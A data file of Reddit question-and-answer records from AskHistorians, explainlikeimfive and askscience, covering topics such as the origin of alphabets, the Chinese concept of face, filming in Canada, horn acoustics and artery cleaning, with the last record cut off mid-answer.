{"q_id": "tztf2", "title": "How many times has an alphabet been developed from scratch?", "selftext": "I have read that alphabets have only appeared a handful of times throughout history and that all other alphabets are derived from these. For example, many European and Middle Eastern written languages are derived from Sumerian cuneiform. Is this true? If so why is it so rare for an alphabet to be developed from nothing? What conditions are necessary? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/tztf2/how_many_times_has_an_alphabet_been_developed/", "answers": {"a_id": ["c4r487h", "c4r4iuv", "c4r5ncd", "c4rbw88"], "score": [8, 3, 9, 3], "text": ["I can't really help you with the number of independently developed \"alphabets\", but I can show you [this](_URL_0_), and also add that \"alphabet\" isn't always a fitting description, as some written languages are organised differently (syllables, icons, etc). \nAlso, you might wanna check over at /r/linguistics.\n", "You may find [this](_URL_0_) interesting.", "The relationship between our languages and cuneiform is bogus. The history of Near Eastern scripts is more complicated than that.\n\nThe cuneiform scripts originally began more like hieroglyphs, visually representing words and concepts. Over thousands of years, it became more abstract and began to use signs to represent syllables and sounds as well. However, it never lost the aspect where certain symbols represented a whole word. Your comparison should be most people's image of Mandarin Chinese, and it is similarly complex in that cuneiform had from 200-500 different characters depending on your literacy level and location.\n\nCuneiform was developed by the Sumerians, and is the first known writing system at all. But not all scripts that came afterwards were directly related to it. As far as I'm aware, the Minoan Linear A script was a development unique to themselves, as were many others.\n\nWriting has emerged as a tool multiple times, with different approaches to scripts.\n\nAlphabets, however, have a specific origin point in 16th century BC Canaanite territory, which would become the region known to us as Phoenicia. They developed the first alphabetic script, the first script where a character directly corrolated to a single sound. This is held to be the ancestor of all alphabetic scripts in Europe and much of Asia; Aramaic is likely to have been the impetus behind the Brahmic script of India, which appeared much later. You have to remember that Aramaic was a vernacular and administrative language of the Achaemenid Persians, and they directly bordered Indian states for around two centuries.\n\nSo yes, alphabetic scripts are one of those developments that has only *uniquely* occured a few times, because so many of our scripts are descended from that original Phoenician alphabet directly or indirectly.\n\nThe advantages of alphabets over syllabic scripts is ease of learning; alphabets rarely exceed 30 characters, and usually have less, you can learn an alphabet in almost no time at all if it's a language that you can speak already. But cuneiform took years to master, required great dexterity and skill to write properly, and required baked clay which is not a resource the whole world likes to use for inscriptions. This, by the way, is why the Assyrians initially *avoided* using alphabetic script in their civil service; with cuneiform writing being so rare and so hard to learn, it meant they could stratify their civil service and monopolise it. Eventually, however, Aramaic (written with an alphabetic script) became such a common language in their Empire that they had to start using the alphabet, and used it as an administrative language alongside Akkadian cuneiform. The idea was that it involved subject peoples in their own government, but also probably because the Cuneiform scribe would also have been able to read the Aramaic copy and been able to check it was done correctly.", "The Korean alphabet (hangul) was developed in the Choson dynasty under King Sejong. While most people say he invented it, it's more likely he initiated and oversaw the academics who invented it. It came about because prior to this, classical Chinese was used to write Korean language. The only person who could understand classical Chinese were wealthy people, who spent years going to school to learn classical Chinese to pass the civil service exam.O The main reason that Sejong pushed for the development of an easy to learn alphabet for Korean was that he wanted his kingdom to be the perfect confucian kingdom, and in order to do that the common people would need to be able to read the writings and follow them - something that wasn't possible with the classical Chinese writing system. \n\nSo, in the case of Korea, it's writing system was developed because of a political pressure to make it possible for the masses to be able to read Confucian writings and follow them, in order for the kingdom to be as Confucian as possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://imgur.com/PgB3q"], ["http://en.wikipedia.org/wiki/Origin_of_Hangul"], [], []]}
{"q_id": "crbmqk", "title": "what does phrases such as \"4 parts iron 1 part coal\" actually mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/crbmqk/eli5_what_does_phrases_such_as_4_parts_iron_1/", "answers": {"a_id": ["ex3hpkj", "ex3hyo0", "ex3ib8e", "ex3m13e"], "score": [16, 3, 5, 3], "text": ["They're ratios. 4 kilograms of coal and 1 kilogram of coal.\n\n\"Kilogram\" as an unit doesn't matter there. The ratio of iron to coal is the same no matter how big or small of a batch you're making.", "That if you are making a mixture of 5 kg, you start wit 1 kg  coal and 4 kg iron.\nOr, in the case of a mixture of 10 kg, you start with 2 kg coal and 8 kg iron.", "4 + 1 = 5. \n\nSo there are a total of 5 \"parts\" to the whole. Those \"parts\" could be milligrams, kilograms, tons, pounds, or ABHEs (Average Basset Hound Equivalents). \n\nThis sort of measurement is used when the *amount* isn't as important as the *ratio.* In this case a 4:1 ratio of iron to coal. \n\nSo if you started with 100 pounds of iron, you'd need 25 pounds of coal. (100:25 = 4:1) If you started with 1500 pounds of iron, you'd need 375 pounds of coal (1500:375 = 4:1)", "Another way to look at it would be, 80% iron and 20% coal. So if you have one pound (or any other amount) of this composite material (probably steel), for it to match the specification \"4 parts iron 1 part coal\", 80% of that pound would be iron, and 20% would be coal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "n8gd1", "title": "My hand is made up of tiny atoms. So is this plank of wood. Is it theoretically possible for the atoms in my hand and the atoms in the wood to align in such a way that I could put my hand through the wood? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/n8gd1/my_hand_is_made_up_of_tiny_atoms_so_is_this_plank/", "answers": {"a_id": ["c372s69", "c3732qe", "c3733c7", "c3733t9", "c3737v1", "c372s69", "c3732qe", "c3733c7", "c3733t9", "c3737v1"], "score": [17, 12, 2, 2, 3, 17, 12, 2, 2, 3], "text": ["No. While it's generally true that there's quite a bit of empty space, there's a considerable amount of energy. Specifically, we know that two particles cannot occupy the same quantum state - they can't be in the same place with the sames spin (this is called the Pauli exclusion principle). So, when two electron orbitals press up against each other there's a force that prevents them from getting tangled up with each other. On the macro level, it produces the phenomenon you understand as matter being solid and coherent. In a solid, the covalent bonds between atoms are forming a network of atoms without sufficient space for other networks of atoms to pass through (because of exclusion). You could break all the bonds in both, making them gasses, and then they could mix.", "Considering the \"theoretically possible\" part of your question, according to Brian Geene's \"the elegant universe\", it is absolutely possible to do that, BUT the number of tries it would take to accomplish that feat would take longer than the current age of the universe. ", "Any time you alter the structure of electrons in the electron cloud, there is a lot of energy associated with it. If you could somehow pass your hand through the wood without actually altering the structure of the wood, your hand would surely vaporize or be rendered useless. Keep in mind even getting one particle to pass through a piece of wood is hard. Even getting a wave of energy to pass through wood without effecting the wood, would be hard.", "Feynman explains this well: _URL_0_", "This may be relevant to the OP's curiosity: [supercritical](_URL_0_)", "No. While it's generally true that there's quite a bit of empty space, there's a considerable amount of energy. Specifically, we know that two particles cannot occupy the same quantum state - they can't be in the same place with the sames spin (this is called the Pauli exclusion principle). So, when two electron orbitals press up against each other there's a force that prevents them from getting tangled up with each other. On the macro level, it produces the phenomenon you understand as matter being solid and coherent. In a solid, the covalent bonds between atoms are forming a network of atoms without sufficient space for other networks of atoms to pass through (because of exclusion). You could break all the bonds in both, making them gasses, and then they could mix.", "Considering the \"theoretically possible\" part of your question, according to Brian Geene's \"the elegant universe\", it is absolutely possible to do that, BUT the number of tries it would take to accomplish that feat would take longer than the current age of the universe. ", "Any time you alter the structure of electrons in the electron cloud, there is a lot of energy associated with it. If you could somehow pass your hand through the wood without actually altering the structure of the wood, your hand would surely vaporize or be rendered useless. Keep in mind even getting one particle to pass through a piece of wood is hard. Even getting a wave of energy to pass through wood without effecting the wood, would be hard.", "Feynman explains this well: _URL_0_", "This may be relevant to the OP's curiosity: [supercritical](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=qhh32JYkQPk&amp;feature=related"], ["http://en.wikipedia.org/wiki/Supercritical_fluid"], [], [], [], ["http://www.youtube.com/watch?v=qhh32JYkQPk&amp;feature=related"], ["http://en.wikipedia.org/wiki/Supercritical_fluid"]]}
{"q_id": "wyazk", "title": "Any historical accounts of an battle having taken place in 571AD in Mecca or the region now known as Saudi Arabia in which War Elephants were used AND the invading force with the War Elephants was defeated?", "selftext": "Ummm..yeah, I think the title pretty much says everything so...\"hi\" and thanks for your help in advance.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/wyazk/any_historical_accounts_of_an_battle_having_taken/", "answers": {"a_id": ["c5hkutz", "c5hvycg"], "score": [15, 5], "text": ["Hi historians,\n\nHere is the background to this question:\n\nThere is an oral/verbal tradition in Islam that this battle happened the same year the prophet Muhammad was born (571 AD). We want to know whether there is a 3rd party/non-Islamic accounts of this battle from Persian/Greek/Roman/Egyptian historians at the time.\n\nSo to recap, here is the description of the invading army according to Islamic verbal tradition:\n\n* Led by a King\n\n* The army had war elephants\n\n* The army invaded Mecca\n\n* The army was defeated\n\nWas there such a battle in 571 AD according to non-Islamic historical sources?", "There was a general from Aksum (Ethiopia) named Abraha, who conquered Yemen and set himself up as king about this time. That's probably who this refers to, although other sources have Abraha as having died by the time of the birth of Muhammad. His army is described as having war elephants. So, while the battle certainly could have happened, as far as I know there is no 3rd party non-Islamic source that refers to it. You might try Aksum: An African Civilization of Late Antiquity by Stuart Munro-Hay for more info."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3dgsqs", "title": "Was it ever actually customary to offer a cigarette to a condemned man, a soldier perhaps, about to be executed by firing squad? Or is this just a Hollywood embellishment?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3dgsqs/was_it_ever_actually_customary_to_offer_a/", "answers": {"a_id": ["ct532q7"], "score": [9], "text": ["Kinda related question: What are the first records of a last meal being offered to those about to be executed?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "v854a", "title": "the chinese concept of \"face\"", "selftext": "Gaining Face, losing Face. I took a whole course based on the history of modern China but I still don't fully understand the concept and how it factors into Chinese society. It sounds to me like its similar to \"honor\" but I've been told that its really not. \n\nCan anyone explain the concept of \"Face\" to me?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/v854a/the_chinese_concept_of_face/", "answers": {"a_id": ["c525zpr", "c526oti", "c52883k"], "score": [9, 6, 13], "text": ["It's more like the appearance of competence than honor. ", "Imagine you signed a contract with your community that laid out certain stipulations on how to behave and react in particular situations. The stipulations can sometimes seem somewhat arbitrary, maybe even rigid, but you know for the most part they were designed in good faith. If you do something to breach the contract, say you made no attempt  to pay a dinner bill with friends, there won't be ostensible or tangible punishment, but your friends will not forget you breached the contract and will likely gossip the hell out of the seemingly petty situation.\n\nWhat are societal implications? It's a means of social control. People are neurotic enough to wonder how they are judged by their peers so they remain alert enough to never give their community something to judge them by. ", "\"Face Theatre\" is the act of pretending to be modest, courteous, kind, and humble for many everyday simple human interactions.\n\nExample of Western style interaction:\n\n    \"Hey dude, I brought some beers\"\n    \"Sweet! Put them in the cooler over there.\"\n    \"Right on, man\"\n\nChinese version of the same interaction:\n\n    \"What a beautiful house you have here!\"  < taking off shoes > \n    \"Thank you, you're looking handsome this evening.\"\n    \"Oh no no no. I just threw this on. I brought you a beer.\"\n    \"Oh don't be ridiculous. You are my good friend. I cannot accept this!\"\n    \"Oh I insist! Please accept it.\"\n    \"No, I really can't. Close friends don't bring each other gifts.\"\n    \"Close friends bring things to share!\"\n    \"Thank you, good friend!\"  < Takes beer and puts in cooler himself > \n\nThere are many variations of this same script, but if you deviate from it in one of many arbitrary ways, you will offend your host or guest.\n\nSame example as above, but with a green hat as a gift instead of beer.\n\n    \"What a beautiful house you have here!\"  < not taking off shoes > \n    \"Thank you, you're looking handsome this evening.\"\n    \"Oh no no no. I just threw this on. I brought you a green hat.\"\n    \"Get out of here, and never come back, you turtle's egg!\"\n\nI once lost face for buying shoes for my grandmother's birthday gift. Never buy shoes for your grandmother... or really anyone. Never give a green hat to a man. Probably best to never even mention a green hat.\n\nIt all has to do with face somehow. I still don't understand it, but it's the script everyone expects everyone else to carry out. If you don't, you'll lose face. I have about -10 million face points with my family.\n\nThe less familiar you are with the person, the more intense the face theatre will be. Even people who are close and normally do not perform face theatre with each other will suddenly start performing if someone important or unfamiliar is nearby. Many Chinese people pretend to be people who they are not, or pretend to care or have courtesy when they really don't. They will regard westerners as blunt and unsophisticated because they don't hide their true emotions or intentions behind Face Theatre.\n\nThey will also use Face Theatre to subtly insult each other by not performing the theatre exactly right. Chinese soap operas and mothers are all about this type of perceived slight and returning the grievances by sending inappropriate gifts or other actions that could only be regarded as insulting if you understand face theatre.\n\nIf this all sounds tedious, annoying, petty, and arbitrary, it's because it is. You can change the rules of Face Theatre at any time depending upon how much face you already have and your esteem among your peers. It's a combination of Emperor's court intrigue combined with junior high school girl petty petulant antics. \n\nThere are things are the right thing to do or the wrong thing to do depending upon various arbitrary factors such as ancient stories or poems, the way the word sounds or what it rhymes with, your relationship with the subject, ancient superstitious myths that make no sense, the direction a building faces, or the relative ages of the people involved. I have lost many face points due to all of the aforementioned. I'm sure the other Chinese people out there will back me up on this.\n\nIt sounds ridiculous, but it's 100% true and ingrained into the culture and taken very seriously by everyone.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3yelci", "title": "what is the purpose of the fbi's most wanted list?", "selftext": "Aside from the flashy title, are these actually the individuals the FBI is most actively pursuing? I don't see the logic behind throwing ten names on a list that doesn't seem to be widespread. I'm guessing this info is sent around to foreign investigative bureaus as well?\n\n(Very curious after a date last night, lol). Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yelci/eli5_what_is_the_purpose_of_the_fbis_most_wanted/", "answers": {"a_id": ["cyct6jn", "cycupcg", "cydedn5", "cydefkt"], "score": [40, 17, 10, 2], "text": ["To bring to the attention of the general public the criminals that the FBI believes to be the most dangerous.", "yes, they are very serious, and it works when you plaster someone's name and face all over the world to let everyone know they are dangerous criminals that the fbi is trying very hard to find. it has incredibly high success rate of capturing nearly everyone who is placed on the list. \n\nbin laden was #1 for years..whitey bulger was #2. after they finally got bin laden, bulger moved to #1 and knew he didn't have much time left before they found him.  you can't hide anywhere in the world for long when you're #1 on that list.\n\nhe was right, they found him a year later after 16 years on the run. ", "I think there should be an FBI LEAST Wanted List.  Then we'd know who the sanest, most reliable people are, and then go to them for crowdfunding", "because everyone on the 10 most wanted carries at least a $100,000 reward (a couple are $200,000).  this encourages people to dime them out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "92p8y7", "title": "what exactly are inverse/reverse colors? how can a color have an opposite?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/92p8y7/eli5_what_exactly_are_inversereverse_colors_how/", "answers": {"a_id": ["e37bixf", "e37g9fu", "e37gtcd"], "score": [3, 4, 3], "text": ["Most often this refers to the way computers show colors, with an amount between 0 and 255 of each base color: red, green, and blue.\n\nTo invert a color, subtract each of these numbers from 255.", "Basically an object that appears as one color reflects the wavelengths (colors) it need to appear to us as that color and absorbed all the rest.\n\nA negative color is basically an object that has those two roles switched around.\n\nLet\u2019s take RGB because that\u2019s how your monitor makes colors: \nPink (magenta) is just Red and Blue, so reverse magenta is just green, because you swapped the colors that are absorbed and te colors that are transmitted ", "Computer screens show colors by glowing red, green, and blue pixels, and the red, green, and blue can actually each glow with a brightness from 0 to 255 points.  All of this is encoded in the graphics files and in memory this way.  So to invert the colors of an image you simply invert the brightness of the red, green, and blue (by subtracting each from its limit of 255).  What you get is sort of like a negative image.\n\nReversing colors is a different thing; this is a feature that's provided by some graphics programs, where the program can swap two colors.  For example if you have a yellow flower with green leaves, it can make the flower part green, and the stem and leaves yellow.\n\nAlso, there's a difference between how a screen displays colors (it glows them) and how a photo shows colors (it reflects light from the sun).  For a screen, if you \"mix/display\" the full brightness of red, green, and blue, you get white.   For a photo or painting, if you add equal amounts of red paint, green paint, and blue paint, you get black.  This is why screens show colors by mixing red, green, and blue, but printers print photos using cyan, magenta, and yellow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "85q65s", "title": "how is it that the average human can store tens of thousands of words in its vocabulary, but if asked to list them all by hand it would be very difficult to name from memory even a fraction of that?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/85q65s/eli5_how_is_it_that_the_average_human_can_store/", "answers": {"a_id": ["dvzcksq", "dvzcryl", "dvzcx9g", "dvzcxqw", "dvzex42", "dvzfu2f", "dvzgslc"], "score": [533, 54, 8, 2, 16, 5, 3], "text": ["The way I see it is, we don\u2019t remember just words we remember the ideas behind and relationships of the words. That makes it really hard to remember words if we aren\u2019t thinking of the context of the words. ", "Lots of the explanation for this would fall into how scientists (neuroscientists/neurologists in this case) don't quite know yet. It has to do with encoding memories.\nThere are theories and some evidence to say that we are actually capable of recalling or bringing back any memory from any time in our lives, although most of us struggle to remember what we had for breakfast last Tuesday.\nOver our lifetime, or brains can't just be constantly replaying information, or else they wouldn't also be storing new information. Not that those are mutually exclusive. However, if you're off daydreaming about that time you were on a beach with pina coladas, you're not going to be as readily recalling what you're currently looking at. Then again, here too, that doesn't mean that you couldn't. In fact, you could be prompted somehow to recall this sort of visual echoic memory, even if you are daydreaming away.\n\nMore to the point, our brains are somehow soaking up lots of stimuli in our neurons, re-wiring, and making connections with different synapses and neurotransmitters. When they make an assocation in a certain way, it plays to us as a memory. Larger connections will play as imagines and what we think of as \"memories.\" Meanwhile, other connections - actually in specific parts of the brain studied for language comprehension - will play to us as words. Then other areas as music, smell and so on. We're able to build up a seemingly limitless capacity to make these connections. I hope that answers your first point about why we're able to store so much.\n\nAs for why it's tough to recall all of the words, we don't have complete control over putting the connections together. The connections can be put together, and over time you would of course recall all the words and be able to list them. But perhaps not without stimulation to make those connections come together. If you're sitting at your desk writing this list, each time you look around the room you'll think of more words. Open the door and there's 1000 more. You have more connections you can make.\n\nIf you're into computers, a good comparison is RAM and Disk Space. Your RAM is much smaller, and it'll integrate whatever you're actually using and working with (your connections at hand). Whereas the Disk Space has all of the things you've stored over time.", "Your brain is a search engine and needs keywords or associated memories to make recalling something easier.\n\nIt's the same with how you can associate a song with a certain memory from when you first heard it, or a certain flavor of gum with the material you studied while chewing it. That info may be hard or even impossible to recall on its own, but with the gum or song to act as keywords, it's way easier.\n\nSource: Required Psych 101 for my major.", "There is a distinction between encoding, storage, and retrieval of memories. Different brain mechanisms are responsible for those different abilities. Our ability to retrieve memories is affected by the associations we make. For example, multiple choice questions are easier for most people than essay questions because the choices cue up associations in your brain that help you recall the proper memories. Sitting in a room attempting to remember a lot of words is similar to answering an essay question because you are not being provided with as many cues. However, the room you are writing the essay in is providing you with cues too. This would also happen if someone were to sit in a room and try to think of a lot of words. Many of the first words they would think of would be words associated with objects in the room.", "There are names for this.\n\n**Recognition vocabulary** is the set of words that a person understands passively but may not be able to generate; the average person has a recognition vocabulary of about 5000 words, whereas Shakespeare is believed to have had about 30,000 words\n\n**Active vocabulary** is the (typically smaller) set of words they can generate on demand; I didn't look hard enough to find the numbers\n\n[Source](_URL_0_)", "Ask your phone to name every single word It knows.  It can't...it doesn't have the program for it.  \n\nSame with us.", "Try taking out your 10,000s of toys in your toy chest and sort them out nicely on a small table. Brain works similarly. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www1.cmc.edu/pages/faculty/welliott/Shakespeare%20Vocabulary%20Chapter%20911.pdf"], [], []]}
{"q_id": "6ptx5e", "title": "why do so many american tv shows  &  movies film in canada? does canada look more \"american\" than the actual usa?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ptx5e/eli5_why_do_so_many_american_tv_shows_movies_film/", "answers": {"a_id": ["dks5xqa", "dks60qh", "dks61os", "dks7rqf", "dks8f9y", "dks8sw5", "dks98g9", "dks9i5a", "dksh0q5", "dktuqia"], "score": [8, 30, 74, 2, 3, 2, 2, 8, 2, 2], "text": ["I think it has more to do with economics than esthetics and authenticity. As I understand it, Canada offers fairly generous tax breaks to production companies. That said, if I hadn't known from looking it up I might never have guessed that TV shows such as *Smallville* and *Arrow* were filmed there.", "Tax incentives and the lower Canadian dollar value vs the greenback. \n\nWhere I'm from (Vancouver, BC), the government will offer tax credits to production companies thereby lowering costs. Compound that with a favourably low Canadian dollar and it's easy to see why so many productions set up camp here. \n\nDecades of this favourable climate has also lead to a highly trained/talented workforce available to the film industry. \n", "Our urban environments look identical to yours.... and there are numerous companies in Toronto, Vancouver that specialize in providing cars, police cruisers, ambulances etc. with big American city decals, providing USA Today newspaper kiosks, USPO mail boxes etc... our provincial and federal governments give huge tax breaks to film and tv production companies, our major cities have world-class film studios, our actors and actresses already can do most American style accents and for clothing extras, really we wear the same shit that you guys do. \n\nWhen a US film crew needs to film a downtown city street in say New York or Chicago, both of those fine cities have film and tv relation offices. To close a major city street costs you $$$$. But.. with the exception of architectural or film purist nerds who can actually spot the difference, a downtown Toronto or Vancouver street looks enough alike that it makes no difference. And to close one of our streets will cost a lot less. Oh, and with the exchange rate being what it is, American productions can afford it that little bit extra more.", "Money mostly.  Its usually cheaper to film in Canada, and it looks like a lot of the US anyway. (Just not places in the US that have palm trees, pretty much everything else is covered).", "The overall cost of production is much lower.  The exchange rate plays a small role in this, however, the actual labor and production costs are much lower and not just due to the exchange rate.  Tax breaks also may play a role, however, they come and go and shows will leave once the tax breaks expire.  \n\nVancouver especially is a favorite location to move your production, Rambo was famously shot in BC, though it did snow during production and that shocked the entire shooting team. ", "The Canadian broadcast laws required all Canadian TV channels to have 'Canadian content' and a fairly large amount of it.  That's shows or made for TV movies with Canadians in it or filmed in Canada. \nAs a result there's both a lot of low budget Canadian television and a lot of trained production personnel and facilities scattered over the county. \n\nThe exchange rate for the dollar helps. And the lower cost of land and rental property is lower in Canada then most big cities in the states.  Canada also offers lots of tax breaks and money grants for filming in Canada. \n(Georgia and Atlanta are doing the same sort of tax incentives these days. Which is why lots of things are being filmed there now.)", "Huge tax incentives. For about 10 years North Carolina had the same scheme and many movie producers started filming in the state. Iron Man 2 for example. Now that scheme stopped and the North Carolina filming industry is almost completely dead if not for the small but established filming studio in Wilmington. \n\nPlus Canada dollar value historically tends to be lower than the US. Great savings. ", "The only time when Canada looks more like America is when it comes to old timey winter. The Fargo TV series and the Revanant requires snow and untouched wilderness which makes Calgary and BC the easiest location.\n\nOther than that it's a case of cheap production with little draw back. Kick Ass in Toronto looks the same as NYC but only Canadians are going to go \"Did Mark Strong kill a dude in the same alley Rick Mercer does Rants?\"", "Something not being mentioned is US copyright law.  Starting in 1990, architecture of buildings was added to copyright law protections.  You have to get permission from the buildings that will be featured in your work to use them in videography, or risk being sued when the owners see them in your finished work.  It adds an extra step that can be a real pain in the ass, and sometimes the owners want money- imagine how many buildings someone might have to seek permission from and how long that would take!  ", "The American dollar is generally stronger than the Canadian dollar (with a notable exception a few Novembers ago when the loonie was trading at above 1.05 freedom bucks), major Canadian cities generally look similar to their American counterparts, and cities and provinces have lucrative tax breaks for filming in their areas."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "4eybxz", "title": "Who is this greek-god?", "selftext": "_URL_0_\n\nThis is a statue from a museum in the vatican. I've heard that this is either the god Dionysos or his step-father Silenos. I'm wondering if any of you would know which one it actually is?\n\nI hope this is the correct subreddit to post in.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4eybxz/who_is_this_greekgod/", "answers": {"a_id": ["d24eoag"], "score": [3], "text": ["[That's Silenus](_URL_0_[layout]=objekt_item & search[constraints][objekt][searchSeriennummer]=20963), although if you do a google image search of it there's a surprisingly large number of people who mistakenly think that it's Bacchus. It's not Bacchus, it exhibits none of the features peculiar to statues of Bacchus. Silenus is characterized by looking relatively chunky (his potbelly is not exaggerated in this statue, but he's definitely fatter than...well, every statue of Bacchus) and has a round nose, is bearded, often bald or balding, has this sort of careless garland, and in statues often wears a panther skin. Bacchus shares much of the imagery (particularly the panther skin and the garland) but he's generally a youth without a beard. He's occasionally depicted as bearded but even then Bacchus is always youthful and in excellent physical shape. He's also always handsome and is *never* bald. I know of literally no images of Bacchus of any kind that have him bald, and Dionysus' long hair is pretty characteristic of the god, as is pointed out in the *Bacchae*. "]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/ypZ0x"], "answers_urls": [["http://arachne.uni-koeln.de/arachne/index.php?view"]]}
{"q_id": "9fxxc5", "title": "A number of the most successful automotive manufacturers were founded in and around Detroit in the first half of 20th century. Are there any quantifiable factors that made Detroit particularly well suited for that industry, at that time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9fxxc5/a_number_of_the_most_successful_automotive/", "answers": {"a_id": ["e60bu0g", "e60rrga"], "score": [34, 8], "text": ["Detroit becoming a hub of automotive manufacturing actually had a lot to do with the fact that many of the founders of those successful companies were from or had moved to Michigan when they established their companies. \n\nHenry Ford was from Greenfield Township, which was later absorbed by the city of Detroit. He built his first automobile in Greenfield and went on to establish Ford Motor Company, his second attempt at a automotive manufacturing company (the first which he left in 1902 later became Cadillac), in the Mack Avenue Plant in Detroit in 1903.\n\n\nGeneral Motors was founded by William C. Durant, who had also founded Durant-Dort Carriage Company in Flint, Michigan in 1886. By 1900, this was the largest carriage manufacturing company in America, producing over 100,000 carriages a year. GM was actually originally a holding company through which Durant rapidly purchased a number of automotive manufacturing companies, including Cadillac, Oldsmobile and Oakland (later known as Pontiac). \n\nRansom E. Olds, who founded Oldsmobile and is credited with the creation of the modern assembly line concept, was born in Ohio but later moved to and settled in Lansing, Michigan, where he later established Oldsmobile.\n\nBuick Motor Company was also founded in Detroit, but in 1903 was bought by James H. Whiting, owner of Flint Wagon Works, who moved the company to Flint. \n\nThere is certainly an argument to be made that the presence in Michigan of some of largest carriage/wagon manufacturers in America had a significant influence on the development of the automotive manufacturing industry. After all, carriages and automobiles shared a large number of components, such as springs and axles amongst others. Though it is from Indiana rather than Detroit, Studebaker is another wagon manufacturer that later transitioned to automobiles. \n", "This is one of the most complex questions in urban economics. The trouble is not that there aren't any quantifiable factors, but that there are too many. Factors like transportation, access to skilled workforces, access to capital and the like all seem to be important to the emergence of an economic cluster like Detroit or Silicon Valley. \n\nBut they are clearly not enough as places with those factors don't all become clusters. Chicago, Indianapolis and a few other Midwestern cities (and even Springfield, Mass) had roles in the early automotive industry.\n\nPerhaps the most important factor isn't geographical or economic, but the human appetite for risk: Henry Ford and William C Durant took massive risks with their own and other people's money (Durant eventually went bankrupt and near the end of his life ran a bowling alley and sold hamburgers). Some founders test-drove the cars they made."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bbcu13", "title": "how do horns amplify sound? a trombone is just a long metal tube, but it makes a much louder sound than a person buzzing their lips, or \"playing\" a long hose. where does the extra energy come from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bbcu13/eli5_how_do_horns_amplify_sound_a_trombone_is/", "answers": {"a_id": ["eki5091", "eki89br", "ekiqp9a", "ekj1hkk"], "score": [7, 6, 4, 2], "text": ["The horn does not \"amplify\" the sound, but it couples the available energy to the free air more efficiently. Kind of like how the correct bicycle gear lets you pedal at a speed and torque where you transmit the most power to the bike wheels.", "\"Loudness\" isn't determined by how much total energy their is, but rather by how strongly the sound waves cause your eardrums to vibrate.\n\nIf someone just blows through a long hose, the sound that comes out will be sort of like white noise - you'll have lots of different frequencies and tones and whatnot mixed in. All those frequencies conflict and cancel out when they hit your eardrums.\n\nBut a trombone (or any horn) causes the sound waves to all come out at the same frequency, which causes your eardrums to vibrate in time with only that frequency, so it has a much stronger effect.\n\nIt's like the old comparison: would you rather be hit by 100 duck-sized horses all pecking at different times, or by one horse-sized duck taking a big poke at you? Same overall energy, but way different perception.", "Horns operate on the principle of \"impedance matching,\" where the flare of the bell allows the air pressure in the tube to better radiate out into the air. Without the horn, the long tube is narrow, and the pressure would reach the end of a long, narrow tube and reflect. This is because the big wide world outside the pipe has no pressure in comparison. This is called the \"pressure release\" boundary. The pressure keeps reflecting inside the pipe and doesn't radiate out. The taper makes the transition from pipe to open air more gradual, allowing the energy to radiate out.", "At the narrow mouthpiece, the air you blow in is moving quickly, but without too large of a change in pressure, so its not that loud. The gradually expanding bell is designed to change fast/low pressure air movement to slow/higher pressure air movements to maximize the volume."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3z0uq1", "title": "why isn't regularly schedule artery cleaning for the prevention of heart attacks a thing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3z0uq1/eli5_why_isnt_regularly_schedule_artery_cleaning/", "answers": {"a_id": ["cyibi3f", "cyibl3j", "cyibla3", "cyibmg0", "cyicx24", "cyicxc6", "cyid1ax", "cyidzfg", "cyie6xg", "cyieyrw", "cyif1oa", "cyig6lt", "cyihxy8", "cyijdlx", "cyijykr", "cyio8jq"], "score": [61, 64, 5, 15, 27, 6, 2, 2, 2, 5, 3, 2, 5, 3, 2, 3], "text": ["How, exactly, would you propose doing \"artery cleaning\"?", "Like angioplasty? \n\nIt's not a thing because the risks of this kind of surgery far outstrip the potential benefits of the \"cleaning.\" Blood clots and other complications are potentially deadly, and these kinds of surgeries are done to prevent an imminent infarction or total blockage.", "It's a very costly procedure and any procedure like that comes with risks. Also not everyone needs it and it better to try to promote a better diet and exercise ", "There is only one medical way to unclog arteries and that is a [angioplasty](_URL_0_), which is a costly and invasive procedure. It is only performed when absolutely necessary.  However, there are many things that people can do to to prevent their own arteries from becoming clogged such as regular exercise, avoiding trans fats, and consuming whole grains and other foods containing soluble fiber.", "Same reason you don't regularly sand blast your car. The procedure is abrasive and damages the 